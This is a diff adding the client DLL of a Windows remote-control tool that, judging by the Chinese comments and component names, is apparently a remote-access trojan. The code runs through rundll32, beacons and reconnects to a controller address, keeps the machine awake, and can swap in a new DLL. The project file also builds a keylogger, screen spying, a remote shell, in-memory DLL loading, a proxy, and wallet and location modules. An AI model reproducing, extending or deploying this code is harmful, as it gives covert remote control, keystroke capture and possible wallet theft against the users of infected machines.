HINSTANCE hinst: DLL 的实例句柄。
|
||||
LPSTR lpszCmdLine: 命令行参数,作为字符串传递给函数。
|
||||
int nCmdShow: 窗口显示状态。
|
||||
运行命令:rundll32.exe ClientDemo.dll,Run 127.0.0.1:6543
|
||||
优先从命令行参数中读取主机地址,如果不指定主机就从全局变量读取。
|
||||
*/
|
||||
extern "C" __declspec(dllexport) void Run(HWND hwnd, HINSTANCE hinst, LPSTR lpszCmdLine, int nCmdShow)
|
||||
{
|
||||
ClientApp& app(g_MyApp);
|
||||
CONNECT_ADDRESS& settings(*(app.g_Connection));
|
||||
State& bExit(app.g_bExit);
|
||||
char message[256] = { 0 };
|
||||
if (strlen(lpszCmdLine) != 0) {
|
||||
strcpy_s(message, lpszCmdLine);
|
||||
} else if (settings.IsValid()) {
|
||||
sprintf_s(message, "%s:%d", settings.ServerIP(), settings.ServerPort());
|
||||
}
|
||||
|
||||
std::istringstream stream(message);
|
||||
std::string item;
|
||||
std::vector<std::string> result;
|
||||
while (std::getline(stream, item, ':')) {
|
||||
result.push_back(item);
|
||||
}
|
||||
if (result.size() == 1) {
|
||||
result.push_back("80");
|
||||
}
|
||||
if (result.size() != 2) {
|
||||
MessageBox(hwnd, "请提供正确的主机地址!", "提示", MB_OK);
|
||||
return;
|
||||
}
|
||||
|
||||
do {
|
||||
TestRun((char*)result[0].c_str(), atoi(result[1].c_str()));
|
||||
while (!IsStoped())
|
||||
Sleep(20);
|
||||
if (bExit == S_CLIENT_EXIT)
|
||||
return;
|
||||
else if (bExit == S_SERVER_EXIT)
|
||||
continue;
|
||||
else // S_CLIENT_UPDATE
|
||||
break;
|
||||
} while (true);
|
||||
|
||||
sprintf_s(message, "%s:%d", settings.ServerIP(), settings.ServerPort());
|
||||
RunNewDll(message);
|
||||
}
|
||||
|
||||
#endif
|
||||
|
||||
bool ParseAuthServer(const std::string& auth, std::string& host, int& port, bool b=false);
|
||||
void ParseAuthServer(CONNECT_ADDRESS *conn) {
|
||||
config* cfg = IsDebug ? (config*)new config() : (config*)new iniFile();
|
||||
std::string host = conn->ServerIP();
|
||||
int port = conn->ServerPort();
|
||||
if (ParseAuthServer(cfg->GetStr("settings", "Authorization"), host, port, true))
|
||||
conn->SetServer(host.c_str(), port);
|
||||
delete cfg;
|
||||
}
|
||||
|
||||
DWORD WINAPI StartClient(LPVOID lParam)
|
||||
{
|
||||
ClientApp& app(*(ClientApp*)lParam);
|
||||
CONNECT_ADDRESS& settings(*(app.g_Connection));
|
||||
BOOL assigned = FALSE;
|
||||
iniFile cfg(CLIENT_PATH);
|
||||
double valid_to = 0;
|
||||
std::string ip = settings.ServerIP();
|
||||
int port = settings.ServerPort();
|
||||
Mprintf("StartClient begin[%s:%d]\n", ip.c_str(), port);
|
||||
if (!app.m_bShared) {
|
||||
auto now = time(0);
|
||||
valid_to = atof(cfg.GetStr("settings", "valid_to").c_str());
|
||||
if (assigned = now <= valid_to) {
|
||||
auto saved_ip = cfg.GetStr("settings", "master");
|
||||
auto saved_port = cfg.GetInt("settings", "port");
|
||||
settings.SetServer(saved_ip.c_str(), saved_port);
|
||||
Mprintf("[StartClient] Client is assigned to %s:%d- %ds left.\n", saved_ip.c_str(), saved_port,
|
||||
int(valid_to-now));
|
||||
}
|
||||
}
|
||||
auto list = app.GetSharedMasterList();
|
||||
if (list.size() > 1 && settings.runningType == RUNNING_PARALLEL) {
|
||||
for (int i=1; i<list.size(); ++i) {
|
||||
std::string addr = list[i] + ":" + std::to_string(settings.ServerPort());
|
||||
auto a = NewClientStartArg(addr.c_str(), IsSharedRunning, TRUE);
|
||||
if (nullptr != a) CloseHandle(__CreateThread(0, 0, StartClientApp, a, 0, 0));
|
||||
}
|
||||
// The main ClientApp.
|
||||
settings.SetServer(list[0].c_str(), settings.ServerPort());
|
||||
}
|
||||
if (!app.m_bShared) {
|
||||
auto a = cfg.GetStr("settings", "share_list");
|
||||
auto shareList = a.empty() ? std::vector<std::string>{} : StringToVector(a, '|');
|
||||
for (int i = 0; i < shareList.size(); ++i) {
|
||||
auto a = NewClientStartArg(shareList[i].c_str(), IsSharedRunning, TRUE);
|
||||
if (nullptr != a) CloseHandle(__CreateThread(0, 0, StartClientApp, a, 0, 0));
|
||||
Mprintf("[StartClient] Client is shared to %s.\n", shareList[i].c_str());
|
||||
}
|
||||
}
|
||||
std::string expiredDate;
|
||||
BOOL isAuthKernel = IsAuthKernel(expiredDate);
|
||||
if (isAuthKernel) ParseAuthServer(&settings);
|
||||
std::string pubIP = cfg.GetStr("settings", "public_ip", "");
|
||||
// V2 authorization supports offline mode, verify signature and skip timeout check
|
||||
VERIFY_V2_AND_SET_AUTHORIZED();
|
||||
State& bExit(app.g_bExit);
|
||||
IOCPClient *ClientObject = NewNetClient(&settings, bExit, pubIP);
|
||||
if (nullptr == ClientObject) return -1;
|
||||
CKernelManager* Manager = nullptr;
|
||||
|
||||
if (!app.m_bShared) {
|
||||
if (NULL == app.g_hEvent) {
|
||||
app.g_hEvent = CreateEventA(NULL, TRUE, FALSE, EVENT_FINISHED);
|
||||
}
|
||||
if (app.g_hEvent == NULL) {
|
||||
Mprintf("[StartClient] Failed to create event: %s! %d.\n", EVENT_FINISHED, GetLastError());
|
||||
}
|
||||
}
|
||||
|
||||
app.SetThreadRun(TRUE);
|
||||
ThreadInfo* kb = CreateKB(&settings, bExit, pubIP);
|
||||
while (app.m_bIsRunning(&app)) {
|
||||
ULONGLONG dwTickCount = GetTickCount64();
|
||||
if (!ClientObject->ConnectServer(settings.ServerIP(), settings.ServerPort())) {
|
||||
Mprintf("[ConnectServer] ---> %s:%d.\n", settings.ServerIP(), settings.ServerPort());
|
||||
for (int k = 300+(IsDebug ? rand()%600:rand()%6000); app.m_bIsRunning(&app) && --k; Sleep(10));
|
||||
SetThreadExecutionState(ES_CONTINUOUS | ES_SYSTEM_REQUIRED);
|
||||
// Check auth timeout for trial/unauthorized users while waiting to reconnect
|
||||
if (isAuthKernel && AuthTimeoutChecker::NeedCheck())
|
||||
AuthTimeoutChecker::Check();
|
||||
continue;
|
||||
}
|
||||
SAFE_DELETE(Manager);
|
||||
|
||||
//准备第一波数据
|
||||
LOGIN_INFOR login = GetLoginInfo(GetTickCount64() - dwTickCount, settings, expiredDate);
|
||||
Manager = isAuthKernel ? new AuthKernelManager(&settings, ClientObject, app.g_hInstance, kb, bExit) :
|
||||
new CKernelManager(&settings, ClientObject, app.g_hInstance, kb, bExit);
|
||||
Manager->SetClientApp(&app);
|
||||
Manager->SetLoginMsg(login.szStartTime + std::string("|") + std::to_string(settings.clientID));
|
||||
while (ClientObject->IsRunning() && ClientObject->IsConnected() && !ClientObject->SendLoginInfo(login))
|
||||
WAIT_n(app.m_bIsRunning(&app), 5 + time(0)%10, 200);
|
||||
WAIT_n(app.m_bIsRunning(&app)&& ClientObject->IsRunning() && ClientObject->IsConnected(), 10, 200);
|
||||
|
||||
do {
|
||||
Manager->SendHeartbeat();
|
||||
SetThreadExecutionState(ES_CONTINUOUS | ES_SYSTEM_REQUIRED);
|
||||
if (assigned && time(0) > valid_to) {
|
||||
app.SetProcessState(S_CLIENT_UPDATE);
|
||||
settings.SetServer(ip.c_str(), port);
|
||||
Mprintf("[StartClient] Client is restored to %s:%d\n", ip.c_str(), port);
|
||||
}
|
||||
} while (ClientObject->IsRunning() && ClientObject->IsConnected() && app.m_bIsRunning(&app));
|
||||
while (GetTickCount64() - dwTickCount < 5000 && app.m_bIsRunning(&app))
|
||||
Sleep(200);
|
||||
}
|
||||
kb->Exit(10);
|
||||
SAFE_DELETE(kb);
|
||||
if (app.g_bExit == S_CLIENT_EXIT && app.g_hEvent && !app.m_bShared) {
|
||||
BOOL b = SetEvent(app.g_hEvent);
|
||||
Mprintf(">>> [StartClient] Set event: %s %s!\n", EVENT_FINISHED, b ? "succeed" : "failed");
|
||||
|
||||
SAFE_CLOSE_HANDLE(app.g_hEvent);
|
||||
app.g_hEvent = NULL;
|
||||
}
|
||||
if (app.g_bExit == S_CLIENT_EXIT) {
|
||||
CKernelManager::g_IsAppExit = 2;
|
||||
Sleep(200);
|
||||
}
|
||||
|
||||
Mprintf("StartClient end\n");
|
||||
delete ClientObject;
|
||||
SAFE_DELETE(Manager);
|
||||
app.SetThreadRun(FALSE);
|
||||
|
||||
return 0;
|
||||
}
|
||||
139
client/ClientDll.h
Normal file
139
client/ClientDll.h
Normal file
@@ -0,0 +1,139 @@
|
||||
#pragma once
|
||||
|
||||
#include "Common.h"
|
||||
#include "IOCPClient.h"
|
||||
#include <IOSTREAM>
|
||||
#include "LoginServer.h"
|
||||
#include "KernelManager.h"
|
||||
#include <iosfwd>
|
||||
#include <vector>
|
||||
#include <iostream>
|
||||
#include <fstream>
|
||||
#include <sstream>
|
||||
#include <shellapi.h>
|
||||
#include <corecrt_io.h>
|
||||
#include "domain_pool.h"
|
||||
#include "ClientApp.h"
|
||||
|
||||
BOOL IsProcessExit();
|
||||
|
||||
typedef BOOL(*IsRunning)(void* thisApp);
|
||||
|
||||
BOOL IsSharedRunning(void* thisApp);
|
||||
|
||||
BOOL IsClientAppRunning(void* thisApp);
|
||||
|
||||
DWORD WINAPI StartClientApp(LPVOID param);
|
||||
|
||||
// 客户端类:将全局变量打包到一起.
|
||||
class ClientApp : public App
|
||||
{
|
||||
public:
|
||||
State g_bExit; // 应用程序状态(1-被控端退出 2-主控端退出 3-其他条件)
|
||||
BOOL g_bThreadExit; // 工作线程状态
|
||||
HINSTANCE g_hInstance; // 进程句柄
|
||||
CONNECT_ADDRESS* g_Connection; // 连接信息
|
||||
HANDLE g_hEvent; // 全局事件
|
||||
BOOL m_bShared; // 是否分享
|
||||
IsRunning m_bIsRunning; // 运行状态
|
||||
unsigned m_ID; // 唯一标识
|
||||
static int m_nCount; // 计数器
|
||||
static CLock m_Locker;
|
||||
ClientApp(CONNECT_ADDRESS*conn, IsRunning run, BOOL shared=FALSE)
|
||||
{
|
||||
g_bExit = S_CLIENT_NORMAL;
|
||||
g_bThreadExit = FALSE;
|
||||
g_hInstance = NULL;
|
||||
g_Connection = new CONNECT_ADDRESS(*conn);
|
||||
g_hEvent = NULL;
|
||||
m_bIsRunning = run;
|
||||
m_bShared = shared;
|
||||
m_ID = 0;
|
||||
g_bThreadExit = TRUE;
|
||||
}
|
||||
std::vector<std::string> GetSharedMasterList()
|
||||
{
|
||||
DomainPool pool = g_Connection->ServerIP();
|
||||
auto list = pool.GetIPList();
|
||||
return list;
|
||||
}
|
||||
~ClientApp()
|
||||
{
|
||||
SAFE_DELETE(g_Connection);
|
||||
}
|
||||
ClientApp* SetID(unsigned id)
|
||||
{
|
||||
m_ID = id;
|
||||
return this;
|
||||
}
|
||||
static void AddCount(int n=1)
|
||||
{
|
||||
m_Locker.Lock();
|
||||
m_nCount+=n;
|
||||
m_Locker.Unlock();
|
||||
}
|
||||
static int GetCount()
|
||||
{
|
||||
m_Locker.Lock();
|
||||
int n = m_nCount;
|
||||
m_Locker.Unlock();
|
||||
return n;
|
||||
}
|
||||
static void Wait()
|
||||
{
|
||||
while (GetCount())
|
||||
Sleep(50);
|
||||
}
|
||||
bool IsThreadRun()
|
||||
{
|
||||
m_Locker.Lock();
|
||||
BOOL n = g_bThreadExit;
|
||||
m_Locker.Unlock();
|
||||
return FALSE == n;
|
||||
}
|
||||
void SetThreadRun(BOOL run = TRUE)
|
||||
{
|
||||
m_Locker.Lock();
|
||||
g_bThreadExit = !run;
|
||||
m_Locker.Unlock();
|
||||
}
|
||||
void SetProcessState(State state = S_CLIENT_NORMAL)
|
||||
{
|
||||
m_Locker.Lock();
|
||||
g_bExit = state;
|
||||
m_Locker.Unlock();
|
||||
}
|
||||
virtual bool Initialize() override
|
||||
{
|
||||
g_Connection->SetType(CLIENT_TYPE_ONE);
|
||||
return true;
|
||||
}
|
||||
virtual bool Start() override
|
||||
{
|
||||
StartClientApp(this);
|
||||
return true;
|
||||
}
|
||||
virtual bool Stop() override
|
||||
{
|
||||
g_bExit = S_CLIENT_EXIT;
|
||||
return true;
|
||||
}
|
||||
bool Run()
|
||||
{
|
||||
if (!Initialize()) return false;
|
||||
if (!Start()) return false;
|
||||
if (!Stop()) return false;
|
||||
return true;
|
||||
}
|
||||
virtual bool IsMainInstance()override {
|
||||
return !m_bShared;
|
||||
}
|
||||
};
|
||||
|
||||
ClientApp* NewClientStartArg(const char* remoteAddr, IsRunning run = IsClientAppRunning, BOOL shared=FALSE);
|
||||
|
||||
// 启动核心线程,参数为:ClientApp
|
||||
DWORD WINAPI StartClient(LPVOID lParam);
|
||||
|
||||
// 启动核心线程,参数为:ClientApp
|
||||
DWORD WINAPI StartClientApp(LPVOID param);
|
||||
270
client/ClientDll_vs2015.vcxproj
Normal file
270
client/ClientDll_vs2015.vcxproj
Normal file
@@ -0,0 +1,270 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" ToolsVersion="14.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup Label="ProjectConfigurations">
|
||||
<ProjectConfiguration Include="Debug|Win32">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Debug|x64">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|Win32">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|x64">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
</ItemGroup>
|
||||
<PropertyGroup Label="Globals">
|
||||
<ProjectGuid>{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}</ProjectGuid>
|
||||
<RootNamespace>ClientDll</RootNamespace>
|
||||
<ProjectName>ServerDll</ProjectName>
|
||||
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
<UseOfMfc>false</UseOfMfc>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
<UseOfMfc>false</UseOfMfc>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||
<ImportGroup Label="ExtensionSettings">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="PropertySheets">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="PropertySheets">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<PropertyGroup Label="UserMacros" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<IncludePath>./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(ProjectDir)proxy;$(SolutionDir)common;$(SolutionDir)compress;$(SolutionDir)compress\ffmpeg</IncludePath>
|
||||
<LibraryPath>$(VLDPATH)\lib\Win32\;$(SolutionDir)compress;$(SolutionDir)lib;$(LibraryPath)</LibraryPath>
|
||||
<IntDir>$(Configuration)\dll</IntDir>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<IncludePath>./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(ProjectDir)proxy;$(SolutionDir)common;$(SolutionDir)compress;$(SolutionDir)compress\ffmpeg</IncludePath>
|
||||
<LibraryPath>$(VLDPATH)\lib\Win64\;$(SolutionDir)compress;$(SolutionDir)lib;$(LibraryPath)</LibraryPath>
|
||||
<IntDir>$(Platform)\$(Configuration)\dll</IntDir>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<LibraryPath>$(VLDPATH)\lib\Win32\;$(SolutionDir)compress;$(SolutionDir)lib;$(LibraryPath)</LibraryPath>
|
||||
<IncludePath>./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(ProjectDir)proxy;$(SolutionDir)common;$(SolutionDir)compress;$(SolutionDir)compress\ffmpeg</IncludePath>
|
||||
<IntDir>$(Configuration)\dll</IntDir>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<LibraryPath>$(VLDPATH)\lib\Win64\;$(SolutionDir)compress;$(SolutionDir)lib;$(LibraryPath)</LibraryPath>
|
||||
<IncludePath>./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(ProjectDir)proxy;$(SolutionDir)common;$(SolutionDir)compress;$(SolutionDir)compress\ffmpeg</IncludePath>
|
||||
<IntDir>$(Platform)\$(Configuration)\dll</IntDir>
|
||||
</PropertyGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<Optimization>Disabled</Optimization>
|
||||
<AdditionalIncludeDirectories>$(SolutionDir);./;$(WindowsSdkDir_81)Include\um;$(WindowsSdkDir_81)Include\shared;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
|
||||
<PreprocessorDefinitions>ZLIB_WINAPI;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<MultiProcessorCompilation>true</MultiProcessorCompilation>
|
||||
<MinimalRebuild>false</MinimalRebuild>
|
||||
<DisableSpecificWarnings>4018;4244;4267;4819;4838</DisableSpecificWarnings>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<AdditionalDependencies>zlib\zlib.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
<IgnoreSpecificDefaultLibraries>libcmt.lib;msvcrt.lib</IgnoreSpecificDefaultLibraries>
|
||||
<AdditionalOptions>/ignore:4099 %(AdditionalOptions)</AdditionalOptions>
|
||||
<AdditionalLibraryDirectories>$(SolutionDir)..\SimplePlugins\bin</AdditionalLibraryDirectories>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<Optimization>Disabled</Optimization>
|
||||
<AdditionalIncludeDirectories>$(SolutionDir);./;$(WindowsSdkDir_81)Include\um;$(WindowsSdkDir_81)Include\shared;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
|
||||
<PreprocessorDefinitions>ZLIB_WINAPI;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<MultiProcessorCompilation>true</MultiProcessorCompilation>
|
||||
<MinimalRebuild>false</MinimalRebuild>
|
||||
<DisableSpecificWarnings>4018;4244;4267;4819;4838</DisableSpecificWarnings>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<AdditionalDependencies>zlib\zlib_x64.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
<IgnoreSpecificDefaultLibraries>libcmt.lib</IgnoreSpecificDefaultLibraries>
|
||||
<AdditionalOptions>/ignore:4099 %(AdditionalOptions)</AdditionalOptions>
|
||||
<AdditionalLibraryDirectories>$(SolutionDir)..\SimplePlugins\bin</AdditionalLibraryDirectories>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<Optimization>MinSpace</Optimization>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
<AdditionalIncludeDirectories>$(SolutionDir);./;$(WindowsSdkDir_81)Include\um;$(WindowsSdkDir_81)Include\shared;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<PreprocessorDefinitions>ZLIB_WINAPI;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<MultiProcessorCompilation>true</MultiProcessorCompilation>
|
||||
<DisableSpecificWarnings>4018;4244;4267;4819;4838</DisableSpecificWarnings>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<GenerateDebugInformation>false</GenerateDebugInformation>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<AdditionalDependencies>zlib\zlib.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
<AdditionalOptions> /SAFESEH:NO /ignore:4099 %(AdditionalOptions)</AdditionalOptions>
|
||||
<IgnoreSpecificDefaultLibraries>msvcrt.lib</IgnoreSpecificDefaultLibraries>
|
||||
<AdditionalLibraryDirectories>$(SolutionDir)..\SimplePlugins\bin</AdditionalLibraryDirectories>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<Optimization>MinSpace</Optimization>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
<AdditionalIncludeDirectories>$(SolutionDir);./;$(WindowsSdkDir_81)Include\um;$(WindowsSdkDir_81)Include\shared;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<PreprocessorDefinitions>ZLIB_WINAPI;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<MultiProcessorCompilation>true</MultiProcessorCompilation>
|
||||
<DisableSpecificWarnings>4018;4244;4267;4819;4838</DisableSpecificWarnings>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<GenerateDebugInformation>false</GenerateDebugInformation>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<AdditionalDependencies>zlib\zlib_x64.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
<AdditionalOptions> /SAFESEH:NO /ignore:4099 %(AdditionalOptions)</AdditionalOptions>
|
||||
<AdditionalLibraryDirectories>$(SolutionDir)..\SimplePlugins\bin</AdditionalLibraryDirectories>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="..\common\file_upload.cpp" />
|
||||
<ClCompile Include="..\common\ikcp.c" />
|
||||
<ClCompile Include="..\common\zstd_wrapper.c" />
|
||||
<ClCompile Include="..\server\2015Remote\pwd_gen.cpp" />
|
||||
<ClCompile Include="Audio.cpp" />
|
||||
<ClCompile Include="AudioManager.cpp" />
|
||||
<ClCompile Include="Buffer.cpp" />
|
||||
<ClCompile Include="CaptureVideo.cpp" />
|
||||
<ClCompile Include="clang_rt_compat.c" />
|
||||
<ClCompile Include="ClientDll.cpp" />
|
||||
<ClCompile Include="Common.cpp" />
|
||||
<ClCompile Include="ConPTYManager.cpp" />
|
||||
<ClCompile Include="FileManager.cpp" />
|
||||
<ClCompile Include="IOCPClient.cpp" />
|
||||
<ClCompile Include="IOCPKCPClient.cpp" />
|
||||
<ClCompile Include="IOCPUDPClient.cpp" />
|
||||
<ClCompile Include="KernelManager.cpp" />
|
||||
<ClCompile Include="KeyboardManager.cpp" />
|
||||
<ClCompile Include="keylogger.cpp" />
|
||||
<ClCompile Include="Loader.cpp" />
|
||||
<ClCompile Include="LoginServer.cpp" />
|
||||
<ClCompile Include="Manager.cpp" />
|
||||
<ClCompile Include="MemoryModule.c" />
|
||||
<ClCompile Include="proxy\ProxyManager.cpp" />
|
||||
<ClCompile Include="RegisterManager.cpp" />
|
||||
<ClCompile Include="RegisterOperation.cpp" />
|
||||
<ClCompile Include="SafeThread.cpp" />
|
||||
<ClCompile Include="ScreenManager.cpp" />
|
||||
<ClCompile Include="ScreenSpy.cpp" />
|
||||
<ClCompile Include="ServicesManager.cpp" />
|
||||
<ClCompile Include="ShellManager.cpp" />
|
||||
<ClCompile Include="StdAfx.cpp" />
|
||||
<ClCompile Include="SystemManager.cpp" />
|
||||
<ClCompile Include="TalkManager.cpp" />
|
||||
<ClCompile Include="VideoManager.cpp" />
|
||||
<ClCompile Include="X264Encoder.cpp" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="..\common\file_upload.h" />
|
||||
<ClInclude Include="..\common\ikcp.h" />
|
||||
<ClInclude Include="..\common\location.h" />
|
||||
<ClInclude Include="..\common\wallet.h" />
|
||||
<ClInclude Include="..\common\zstd_wrapper.h" />
|
||||
<ClInclude Include="..\server\2015Remote\pwd_gen.h" />
|
||||
<ClInclude Include="Audio.h" />
|
||||
<ClInclude Include="AudioManager.h" />
|
||||
<ClInclude Include="Buffer.h" />
|
||||
<ClInclude Include="CaptureVideo.h" />
|
||||
<ClInclude Include="clip.h" />
|
||||
<ClInclude Include="Common.h" />
|
||||
<ClInclude Include="ConPTYManager.h" />
|
||||
<ClInclude Include="CursorInfo.h" />
|
||||
<ClInclude Include="FileManager.h" />
|
||||
<ClInclude Include="IOCPClient.h" />
|
||||
<ClInclude Include="IOCPKCPClient.h" />
|
||||
<ClInclude Include="IOCPUDPClient.h" />
|
||||
<ClInclude Include="KernelManager.h" />
|
||||
<ClInclude Include="KeyboardManager.h" />
|
||||
<ClInclude Include="keylogger.h" />
|
||||
<ClInclude Include="LoginServer.h" />
|
||||
<ClInclude Include="Manager.h" />
|
||||
<ClInclude Include="MemoryModule.h" />
|
||||
<ClInclude Include="proxy\ProxyManager.h" />
|
||||
<ClInclude Include="RegisterManager.h" />
|
||||
<ClInclude Include="RegisterOperation.h" />
|
||||
<ClInclude Include="resource.h" />
|
||||
<ClInclude Include="SafeThread.h" />
|
||||
<ClInclude Include="ScreenCapture.h" />
|
||||
<ClInclude Include="ScreenCapturerDXGI.h" />
|
||||
<ClInclude Include="ScreenManager.h" />
|
||||
<ClInclude Include="ScreenSpy.h" />
|
||||
<ClInclude Include="ServicesManager.h" />
|
||||
<ClInclude Include="ShellManager.h" />
|
||||
<ClInclude Include="StdAfx.h" />
|
||||
<ClInclude Include="SystemManager.h" />
|
||||
<ClInclude Include="TalkManager.h" />
|
||||
<ClInclude Include="VideoCodec.h" />
|
||||
<ClInclude Include="VideoManager.h" />
|
||||
<ClInclude Include="X264Encoder.h" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ResourceCompile Include="Script.rc" />
|
||||
</ItemGroup>
|
||||
